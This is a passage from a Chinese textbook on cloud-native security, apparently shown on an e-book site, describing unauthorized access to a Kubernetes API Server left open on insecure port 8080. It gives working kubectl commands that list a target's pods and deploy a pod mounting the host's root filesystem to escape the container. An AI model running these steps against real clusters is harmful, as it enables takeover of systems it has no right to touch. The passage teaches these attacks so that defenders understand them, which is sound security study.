- 云原生安全:攻防實踐與體系構建
- 劉文懋 江國龍 浦明 阮博男 葉曉虎
- 396字
- 2021-11-04 18:12:34
4.2.1 Kubernetes API Server未授權訪問
在一個Kubernetes集群中,API Server處于通信的中樞位置,是集群控制平面的核心,各組件通過API Server進行交互。
默認情況下,API Server能夠在兩個端口上對外提供服務:8080和6443,前者以HTTP提供服務,無認證和授權機制;后者以HTTPS提供服務,支持認證和授權服務。在較新版本的Kubernetes中,8080端口的HTTP服務默認不啟動。然而,如果用戶在/etc/kubernetes/manifests/kube-apiserver.yaml中將--insecure-port=0修改為--insecure-port=8080并重啟API Server,那么攻擊者只要網絡可達,都能夠通過此端口操控集群[1]。
例如,我們能夠直接遠程列出目標機器上運行的Pod:
root@k8s:~# kubectl -s $TARGETIP:8080 get pod NAME READY STATUS RESTARTS AGE victim 1/1 Running 3 88d
我們還能夠創建一個掛載宿主機目錄的Pod進行容器逃逸,進一步嘗試獲得宿主機權限[2],相關操作如下:
cat << EOF > escape.yaml # attacker.yaml apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumeMounts: - name: escape-host mountPath: /host-escape-door volumes: - name: escape-host hostPath: path: / EOF kubectl -s TARGET-IP:8080 apply -f escape.yaml sleep 8 kubectl -s TARGET-IP:8080 exec -it attacker /bin/bash
結果如圖4-2所示。

圖4-2 在容器內訪問宿主機文件系統
[1] API Server默認監聽127.0.0.1,但可修改。
[2] 隨 書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0402-Kubernetes組件不安全配置/deploy_escape_pod_on_remote_host.sh。
推薦閱讀
- 特種木馬防御與檢測技術研究
- 黑客攻防與電腦安全從新手到高手(微視頻+火力升級版)
- 可信計算3.0工程初步
- Penetration Testing with Perl
- Preventing Digital Extortion
- Kali Linux Network Scanning Cookbook(Second Edition)
- 解密彩虹團隊非凡實戰能力:企業安全體系建設(共5冊)
- 網絡安全與攻防入門很輕松(實戰超值版)
- API安全技術與實戰
- 信息安全等級保護測評與整改指導手冊
- 從實踐中學習密碼安全與防護
- 先進云安全研究與實踐
- 無線傳感器網絡安全與加權復雜網絡抗毀性建模分析
- 數字政府網絡安全合規性建設指南:密碼應用與數據安全
- 網絡空間安全導論